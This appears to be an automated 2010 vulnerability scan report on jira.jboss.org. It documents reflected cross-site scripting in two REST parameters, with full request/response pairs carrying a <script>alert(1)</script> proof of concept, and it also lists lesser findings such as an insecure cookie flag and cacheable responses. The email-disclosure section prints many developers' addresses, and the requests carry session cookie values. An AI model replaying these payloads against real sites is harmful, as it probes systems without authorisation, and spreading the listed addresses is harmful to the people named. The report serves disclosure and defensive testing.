> Report generated by XSS.CX at Mon Nov 15 08:03:39 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

Loading

1. Cross-site scripting (reflected)

1.1. https://jira.jboss.org/rest/activity-stream/1.0/url [keys parameter]

1.2. https://jira.jboss.org/rest/activity-stream/1.0/url [username parameter]

2. SSL cookie without secure flag set

3. Source code disclosure

4. Email addresses disclosed

4.1. https://jira.jboss.org/includes/blank.html

4.2. https://jira.jboss.org/plugins/servlet/streams

4.3. https://jira.jboss.org/plugins/servlet/streams

5. Cacheable HTTPS response

5.1. https://jira.jboss.org/includes/blank.html

5.2. https://jira.jboss.org/plugins/servlet/gadgets/ifr

6. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://jira.jboss.org/rest/activity-stream/1.0/url [keys parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://jira.jboss.org
Path:   /rest/activity-stream/1.0/url

Issue detail

The value of the keys request parameter is copied into the HTML document as plain text between tags. The payload 1f82f<script>alert(1)</script>d55a495333 was submitted in the keys parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rest/activity-stream/1.0/url?keys=SEAMJMS1f82f<script>alert(1)</script>d55a495333&numofentries=10&username= HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: https://jira.jboss.org/plugins/servlet/gadgets/ifr?container=atlassian&mid=stream&country=US&lang=en&view=default&view-params=%7B%22writable%22%3A%22false%22%7D&st=atlassian%3A%2F1aWbDB6TX%2BAyrGE%2B%2BhAaq4GCFKtIbqfC9Lbx8jnWsqDclsCv3HpHfC8%2BOvPR6Wb2fOB30d3qlAV0iECalh0Hne1yg3Yln%2BdK0M6ZFuzhISnCoL4zkLEg7T1Y%2B5QM%2FOAAIPLRSCWMk0EmhIKm6w2BEONzbVtWK81waFH0PlAKo6ZgzkM5KvX9SVZerROYub%2BNgPfYikgbV1hErZhfNOEpVI3dkqZpkkGd%2FbvjZZISS3R%2BshTgtFbc9O5kn7YhHTr5YDQTg%3D%3D&up_isConfigured=true&up_isConfigurable=false&up_refresh=false&up_title=&up_titleRequired=false&up_keys=SEAMJMS&up_itemKeys=&up_username=&up_numofentries=10&url=https%3A%2F%2Fjira.jboss.org%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%2Fgadgets%2Factivitystream-gadget.xml&libs=auth-refresh
Accept: application/json, text/javascript, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: jira.jboss.org
Connection: Keep-Alive
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:53 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976473x15
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Cache-Control: no-cache, no-store, no-transform
Content-Type: application/json;charset=UTF-8
Content-Length: 86
Connection: close

{"url":"/plugins/servlet/streams?key=SEAMJMS1f82f<script>alert(1)</script>d55a495333"}

1.2. https://jira.jboss.org/rest/activity-stream/1.0/url [username parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://jira.jboss.org
Path:   /rest/activity-stream/1.0/url

Issue detail

The value of the username request parameter is copied into the HTML document as plain text between tags. The payload 1bcd4<script>alert(1)</script>d253e6aeae3 was submitted in the username parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rest/activity-stream/1.0/url?keys=SEAMJMS&numofentries=10&username=1bcd4<script>alert(1)</script>d253e6aeae3 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: https://jira.jboss.org/plugins/servlet/gadgets/ifr?container=atlassian&mid=stream&country=US&lang=en&view=default&view-params=%7B%22writable%22%3A%22false%22%7D&st=atlassian%3A%2F1aWbDB6TX%2BAyrGE%2B%2BhAaq4GCFKtIbqfC9Lbx8jnWsqDclsCv3HpHfC8%2BOvPR6Wb2fOB30d3qlAV0iECalh0Hne1yg3Yln%2BdK0M6ZFuzhISnCoL4zkLEg7T1Y%2B5QM%2FOAAIPLRSCWMk0EmhIKm6w2BEONzbVtWK81waFH0PlAKo6ZgzkM5KvX9SVZerROYub%2BNgPfYikgbV1hErZhfNOEpVI3dkqZpkkGd%2FbvjZZISS3R%2BshTgtFbc9O5kn7YhHTr5YDQTg%3D%3D&up_isConfigured=true&up_isConfigurable=false&up_refresh=false&up_title=&up_titleRequired=false&up_keys=SEAMJMS&up_itemKeys=&up_username=&up_numofentries=10&url=https%3A%2F%2Fjira.jboss.org%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%2Fgadgets%2Factivitystream-gadget.xml&libs=auth-refresh
Accept: application/json, text/javascript, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: jira.jboss.org
Connection: Keep-Alive
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:54 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976506x27
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Cache-Control: no-cache, no-store, no-transform
Content-Type: application/json;charset=UTF-8
Content-Length: 99
Connection: close

{"url":"/plugins/servlet/streams?filterUser=1bcd4<script>alert(1)</script>d253e6aeae3&key=SEAMJMS"}

2. SSL cookie without secure flag set  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://jira.jboss.org
Path:   /browse/SEAMJMS

Issue detail

The following cookie was issued by the application and does not have the secure flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /browse/SEAMJMS HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: jira.jboss.org
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:32 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976032x4
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-AUSERNAME: anonymous
X-ASESSIONID: h2q44m
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=12CD661DD60410EA3CC8C105EAC6F26F; Path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Length: 44048


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">


<html>
<head>
<title>Seam JMS - JBoss Issue Tracker </title>

<meta na
...[SNIP]...

3. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   https://jira.jboss.org
Path:   /s/587/6/4.2/_/download/batch/com.atlassian.jira.gadgets:common/com.atlassian.jira.gadgets:common.js

Issue detail

The application appears to disclose some server-side source code written in ASP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /s/587/6/4.2/_/download/batch/com.atlassian.jira.gadgets:common/com.atlassian.jira.gadgets:common.js HTTP/1.1
Accept: */*
Referer: https://jira.jboss.org/plugins/servlet/gadgets/ifr?container=atlassian&mid=stream&country=US&lang=en&view=default&view-params=%7B%22writable%22%3A%22false%22%7D&st=atlassian%3A%2F1aWbDB6TX%2BAyrGE%2B%2BhAaq4GCFKtIbqfC9Lbx8jnWsqDclsCv3HpHfC8%2BOvPR6Wb2fOB30d3qlAV0iECalh0Hne1yg3Yln%2BdK0M6ZFuzhISnCoL4zkLEg7T1Y%2B5QM%2FOAAIPLRSCWMk0EmhIKm6w2BEONzbVtWK81waFH0PlAKo6ZgzkM5KvX9SVZerROYub%2BNgPfYikgbV1hErZhfNOEpVI3dkqZpkkGd%2FbvjZZISS3R%2BshTgtFbc9O5kn7YhHTr5YDQTg%3D%3D&up_isConfigured=true&up_isConfigurable=false&up_refresh=false&up_title=&up_titleRequired=false&up_keys=SEAMJMS&up_itemKeys=&up_username=&up_numofentries=10&url=https%3A%2F%2Fjira.jboss.org%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%2Fgadgets%2Factivitystream-gadget.xml&libs=auth-refresh
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: jira.jboss.org
Connection: Keep-Alive
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:37 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976135x2
X-ASESSIONID: 3jsbox
Expires: Thu, 12 Nov 2020 14:00:37 GMT
Cache-Control: max-age=315360000000
Cache-Control: public
Last-Modified: Sat, 13 Nov 2010 03:30:55 GMT
ETag: "1289619055000"
Content-Type: application/x-javascript;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 74733

jQuery.namespace=function(str,noclobber){var i,a=str.split("."),o=window,callthrough=false;if(/[^a-zA-Z.]/.test(str)){return false}for(i=0;i<a.length;i++){if(!o[a[i]]){o[a[i]]={};callthrough=true}o=o[
...[SNIP]...
{};return function(str,data){var fn;if(!/\W/.test(str)){fn=cache[str];}else{var fnString="var p=[], print=function(){p.push.apply(p,arguments);};with(obj){p.push('"+str.replace(/[\r\t\n]/g," ").split("<%").join("\t").replace(/((^|%>)[^\t]*)'/g,"$1\r").replace(/\t=(.*?)%>
...[SNIP]...
ortOrd[sortCol]){sortOrd[sortCol]=["desc","asc"];}data=sort(data,sortCol,sortOrd[sortCol][0]);}}build.call(templater,data);};}(templater.build);}return templater;};AJS.gadgets.templater.Form.template='<% var i18nHelper = new gadgets.Prefs(); %><% function createCheckboxGroup (field) { %> <fieldset class="group <% if (field.styleClass) { %> <%= gadgets.util.escape(field.styleClass) %> <% } %>" <% if (field.id) { %> id="<%= gadgets.util.escape(field.id) %>" <% } %> > <% if ( field.label ) { %> <legend><span><%= gadgets.util.escape(field.label) %></span>
...[SNIP]...
<% } %> <% for (var i=0; i < field.options.length; i++) { %> <div class="checkbox">
...[SNIP]...
<input <% if ( field.value === "true" ) { %> checked = "checked" <% } %> class="checkbox" <% if (field.options[i].id) { %> id="<%= gadgets.util.escape(field.options[i].id) %>" <% } else { %> id="<%= gadgets.util.escape(field.userpref + "-" + i) %>" <% } %> name="<%= gadgets.util.escape(field.userpref) %>" type="checkbox" <% if (field.value === "false") { field.value = "true"; } %> value="<%= field.value %>" /> <% if (field.options[i].label) { %> <label <% if (field.options[i].id) { %> for="<%= gadgets.util.escape(field.options[i].id) %>" <% } else { %> for="<%= gadgets.util.escape(field.userpref + "-" + i) %>" <% } %> ><%= gadgets.util.escape(field.options[i].label) %></label>
...[SNIP]...
<% } %> <% if (field.description) { %> <div class="description"><%= field.description %></div>
...[SNIP]...
<% } %><% function createRadioGroup (field) { %> <fieldset class="group <% if (field.styleClass) { %> <%= gadgets.util.escape(field.styleClass) %> <% } %>" <% if (field.id) { %> id="<%= gadgets.util.escape(field.id) %>" <% } %> > <% if ( field.label ) { %> <legend><span><%= gadgets.util.escape(field.label) %></span>
...[SNIP]...
<% } %> <% for (var i=0; i < field.options.length; i++) { %> <div class="radio">
...[SNIP]...
<input <% if (field.selected === field.options[i].value || field.options[i].selected) { %> checked = "checked" <% } %> class="radio" <% if (field.options[i].id) { %> id="<%= gadgets.util.escape(field.options[i].id) %>" <% } else { %> id="<%= gadgets.util.escape(field.userpref + "-" + i) %>" <% } %> name="<%= gadgets.util.escape(field.userpref) %>" type="radio" <% if ( field.options[i].value ) { %> value="<%= gadgets.util.escape(field.options[i].value) %>" <% } %>
...[SNIP]...
<label <% if (field.options[i].id) { %> for="<%= gadgets.util.escape(field.options[i].id) %>" <% } else { %> for="<%= gadgets.util.escape(field.userpref + "-" + i) %>" <% } %> ><%= gadgets.util.escape(field.options[i].label) %></label>
...[SNIP]...
<% } %> <% if (field.description) { %> <div class="description"><%= field.description %></div>
...[SNIP]...
<% } %><% function createHiddenInput (field) { %> <input name="<%= gadgets.util.escape(field.userpref) %>" type="hidden" value="<%= gadgets.util.escape(field.value) %>" /><% } %><% function createTextInput (field) { %> <input <% if (field.styleClass) { %> class="<%= gadgets.util.escape(styleClass) %>" <% } else { %> class="<%= gadgets.util.escape(field.type) %>" <% } %> <% if (!field.id) { %> id="<%= gadgets.util.escape(field.userpref) %>" <% } else { %> id="<%= gadgets.util.escape(field.id) %>" <% } %> name="<%= gadgets.util.escape(field.userpref) %>" type="<%= gadgets.util.escape(field.type) %>" <% if (field.value) { %> value="<%= gadgets.util.escape(field.value) %>" <% } %>
...[SNIP]...
</div> <% if (field.description) { %> <div class="description"><%= field.description %></div> <% } %><% } %><% function createLabel (field) { %> <label for="<%= gadgets.util.escape(field.userpref) %>"><%= gadgets.util.escape(field.label) %></label><% } %><% function createTextarea (field) { %> <textarea <% if (field.styleClass) { %> class="<%= gadgets.util.escape(field.styleClass) %>" <% } %> <% if (!field.id) { %> id="<%= gadgets.util.escape(field.userpref) %>" <% } else { %> id="<%= gadgets.util.escape(field.id) %>" <% } %> name="<%= gadgets.util.escape(field.userpref) %>" ><% if (field.value) { %><%= gadgets.util.escape(field.value) %><% } %>
...[SNIP]...
</div> <% if (field.description) { %> <div class="description"><%= field.description %></div> <% } %><% } %><% function createSelect (field) { %> <% function createOption (item) { %> <option <% if ( item.id) { %> id = "<%= gadgets.util.escape(item.id) %>" <% } %> <% if ( field.selected === item.value || item.selected) { %> selected = "selected" <% } %> value="<%= gadgets.util.escape(item.value) %>" ><%= gadgets.util.escape(item.label) %></option>
...[SNIP]...
<select <% if (field.styleClass) { %> class="<%= gadgets.util.escape(field.styleClass) %>" <% } else { %> class="select" <% } %> <% if (!field.id) { %> id="<%= gadgets.util.escape(field.userpref) %>" <% } else { %> id="<%= gadgets.util.escape(field.id) %>" <% } %> name="<%= gadgets.util.escape(field.userpref) %>"> <% for ( var i = 0; i < field.options.length; i++ ) { %> <% if ( field.options[i].group ) { %> <optgroup label="<%= gadgets.util.escape(field.options[i].group.label) %>"> <% if (field.options[i].group.options) { %> <% for ( var x = 0; x < field.options[i].group.options.length; x++ ) { %> <% createOption(field.options[i].group.options[x]); %> <% } %>
...[SNIP]...
</optgroup> <% } else { %> <% createOption(field.options[i]); %> <% } %>
...[SNIP]...
</div> <% if (field.description) { %> <div class="description"><%= field.description %></div> <% } %><% } %><% function createMultiSelect (field) { %> <% function createOption (item) { %> <option <% if ( item.id) { %> id = "<%= gadgets.util.escape(item.id) %>" <% } %> <% var selected = false; if(field.value !== undefined && field.value.length > 0) { for(var i = 0; i < field.value.length; i++) { if(field.value[i] === item.value) { selected = true; break; } } } if (selected) { %> selected = "selected" <% } %> value="<%= gadgets.util.escape(item.value) %>" ><%= gadgets.util.escape(item.label) %></option>
...[SNIP]...
<select multiple="multiple" <% if (field.styleClass) { %> class="<%= gadgets.util.escape(field.styleClass) %>" <% } else { %> class="multi-select" <% } %> <% if (!field.id) { %> id="<%= gadgets.util.escape(field.userpref) %>" <% } else { %> id="<%= gadgets.util.escape(field.id) %>" <% } %> name="<%= gadgets.util.escape(field.userpref) %>"> <% for ( var i = 0; i < field.options.length; i++ ) { %> <% if ( field.options[i].group ) { %> <optgroup label="<%= gadgets.util.escape(field.options[i].group.label) %>"> <% for ( var x = 0; x < field.options[i].group.options.length; x++ ) { %> <% createOption(field.options[i].group.options[x]); %> <% } %>
...[SNIP]...
</optgroup> <% } else { %> <% createOption(field.options[i]); %> <% } %>
...[SNIP]...
</div> <% if (field.description) { %> <div class="description"><%= field.description %></div> <% } %><% } %><% function createField(field, type) { %> <% if (type !== "inline" && field.type !== "radio" && field.type !== "checkbox" && field.type !== "hidden") { %> <div class="field-group">
...[SNIP]...
<% } %> <% if (field.type !== "radio" && field.type !== "checkbox"&& field.type !== "hidden") { %> <% createLabel(field); %> <% } %> <% if (field.type == "select") { %> <% createSelect(field); %> <% } else if (field.type == "multiselect") { %> <% createMultiSelect(field); %> <% } else if (field.type == "textarea") { %> <% createTextarea(field); %> <% } else if (field.type == "radio") { %> <% createRadioGroup(field); %> <% } else if (field.type == "checkbox") { %> <% createCheckboxGroup(field); %> <% } else if (field.type == "custom" && field.template) { %> <%= field.template() %> <div id="<%= field.userpref %>-error" class="error"></div> <% } else if (field.type == "callbackBuilder") { %> <% if (field.id){%> <div id="<%=field.id%>" class="builder-container"></div> <% } else { %> <div class="builder-container">
...[SNIP]...
<div id="<%= field.userpref %>-error" class="error"></div> <% } else if (field.type == "hidden") { %> <% createHiddenInput(field); %> <% } else { %> <% createTextInput(field); %> <% } %> <% if (type !== "inline" && field.type !== "radio" && field.type !== "checkbox" && field.type !== "hidden") { %> </div>
...[SNIP]...
<% } %><% function createFieldset (fieldset, type) { %> <fieldset> <% if (fieldset.title) { %> <legend><span><%= gadgets.util.escape(fieldset.title) %></span>
...[SNIP]...
<% } %> <% if (fieldset.description) { %> <p><%= gadgets.util.escape(fieldset.description) %></p> <% } %> <% for ( var i = 0; i < fieldset.fields.length; i++ ) { %> <% createField(fieldset.fields[i], type); %> <% } %>
...[SNIP]...
<form action="<%= gadgets.util.escape(obj.action || \'\') %>" class="aui <%= gadgets.util.escape(obj.theme || \'\') %>" method="post"> <% if (obj.title) { %> <h2><%= gadgets.util.escape(obj.title) %></h2> <% } %> <% if (obj.description ) { %> <p><%= gadgets.util.escape(obj.description) %></p> <% } %> <% if (obj.fieldsets) { %> <% for ( var i = 0; i < obj.fieldsets.length; i++ ) { %> <% createFieldset(obj.fieldsets[i], obj.type); %> <% } %> <% } else if (obj.fields && obj.fields.length > 0) { %> <% for ( var i = 0; i < obj.fields.length; i++ ) { %> <% createField(obj.fields[i], obj.theme); %> <% } %>
...[SNIP]...
<input class="button save" type="submit" value="<%= i18nHelper.getMsg(\'gadget.common.save\') %>"> <input class="button cancel" type="button" value="<%= i18nHelper.getMsg(\'gadget.common.cancel\') %>">
...[SNIP]...
<table class="aui" cellspacing="0" border="0"> <% if (obj.cols) { %> <thead>
...[SNIP]...
<tr> <% AJS.$(obj.cols).each(function () { %> <th <% if (this.theme) { %> class="<%= this.theme %>" <% } %>
...[SNIP]...
<div><%= this.header %></div>
...[SNIP]...
<% } %> <% if (obj.data) { %> <tbody> <% AJS.$(obj.data).each(function (i) { %> <tr <% if (i%2) { %> class="even" <% } %> > <% AJS.$(this).each(function () { %> <td><%= this.label %></td>
...[SNIP]...

4. Email addresses disclosed  previous  next
There are 3 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


4.1. https://jira.jboss.org/includes/blank.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://jira.jboss.org
Path:   /includes/blank.html

Issue detail

The following email address was disclosed in the response:

Request

GET /includes/blank.html HTTP/1.1
Host: jira.jboss.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:45 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976460x12
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Accept-Ranges: bytes
ETag: W/"1794-1289305038000"
Last-Modified: Tue, 09 Nov 2010 12:17:18 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 1794
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!--
Copyright (c) 2007 Brian Dillard and Brad Neuberg:
Brian Dillard | Project Lead | bdillard@pathf.com | http://blogs.pathf.com/agileajax/
Brad Neuberg | Original Project Creator | http://codinginparadise.org

Permission is hereby granted, free of charge, to any person obtaining a copy of this software
...[SNIP]...

4.2. https://jira.jboss.org/plugins/servlet/streams  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://jira.jboss.org
Path:   /plugins/servlet/streams

Issue detail

The following email address was disclosed in the response:

Request

GET /plugins/servlet/streams?key=SEAMJMS&maxResults=10&_=1289829466052 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: https://jira.jboss.org/plugins/servlet/gadgets/ifr?container=atlassian&mid=stream&country=US&lang=en&view=default&view-params=%7B%22writable%22%3A%22false%22%7D&st=atlassian%3A%2F1aWbDB6TX%2BAyrGE%2B%2BhAaq4GCFKtIbqfC9Lbx8jnWsqDclsCv3HpHfC8%2BOvPR6Wb2fOB30d3qlAV0iECalh0Hne1yg3Yln%2BdK0M6ZFuzhISnCoL4zkLEg7T1Y%2B5QM%2FOAAIPLRSCWMk0EmhIKm6w2BEONzbVtWK81waFH0PlAKo6ZgzkM5KvX9SVZerROYub%2BNgPfYikgbV1hErZhfNOEpVI3dkqZpkkGd%2FbvjZZISS3R%2BshTgtFbc9O5kn7YhHTr5YDQTg%3D%3D&up_isConfigured=true&up_isConfigurable=false&up_refresh=false&up_title=&up_titleRequired=false&up_keys=SEAMJMS&up_itemKeys=&up_username=&up_numofentries=10&url=https%3A%2F%2Fjira.jboss.org%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%2Fgadgets%2Factivitystream-gadget.xml&libs=auth-refresh
Accept: application/xml, text/xml, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Host: jira.jboss.org
Connection: Keep-Alive
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:41 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976304x8
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: application/xml;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 12778

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:usr="http://streams.atlassian.com/syndication/username/1.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:th
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...
<email>jganoff@gmail.com</email>
...[SNIP]...

4.3. https://jira.jboss.org/plugins/servlet/streams  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://jira.jboss.org
Path:   /plugins/servlet/streams

Issue detail

The following email addresses were disclosed in the response:

Request

GET /plugins/servlet/streams HTTP/1.1
Host: jira.jboss.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:44 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976458x11
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Type: application/xml;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 29389

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:usr="http://streams.atlassian.com/syndication/username/1.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:th
...[SNIP]...
<email>dave.siracusa@perfware.com</email>
...[SNIP]...
<email>baunax@gmail.com</email>
...[SNIP]...
<email>baunax@gmail.com</email>
...[SNIP]...
<email>mputz@jboss.com</email>
...[SNIP]...
<email>baunax@gmail.com</email>
...[SNIP]...
<email>akazakov@exadel.com</email>
...[SNIP]...
<email>lzoubek@redhat.com</email>
<usr:username>lzoubek@redhat.com</usr:username>
...[SNIP]...
<email>mputz@jboss.com</email>
...[SNIP]...
<email>toni@rikkola.net</email>
...[SNIP]...
<email>nbelaevski@exadel.com</email>
...[SNIP]...
<email>ishaikovsky@exadel.com</email>
...[SNIP]...
<email>mposolda@redhat.com</email>
<usr:username>mposolda@redhat.com</usr:username>
...[SNIP]...
<email>mposolda@redhat.com</email>
<usr:username>mposolda@redhat.com</usr:username>
...[SNIP]...
<email>mareshkau@exadel.com</email>
...[SNIP]...
<email>mposolda@redhat.com</email>
<usr:username>mposolda@redhat.com</usr:username>
...[SNIP]...
<email>mgencur@redhat.com</email>
<usr:username>mgencur@redhat.com</usr:username>
...[SNIP]...
<email>bbrowning@redhat.com</email>
...[SNIP]...
<email>mareshkau@exadel.com</email>
...[SNIP]...
<email>ishaikovsky@exadel.com</email>
...[SNIP]...
<email>ishaikovsky@exadel.com</email>
...[SNIP]...

5. Cacheable HTTPS response  previous  next
There are 2 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

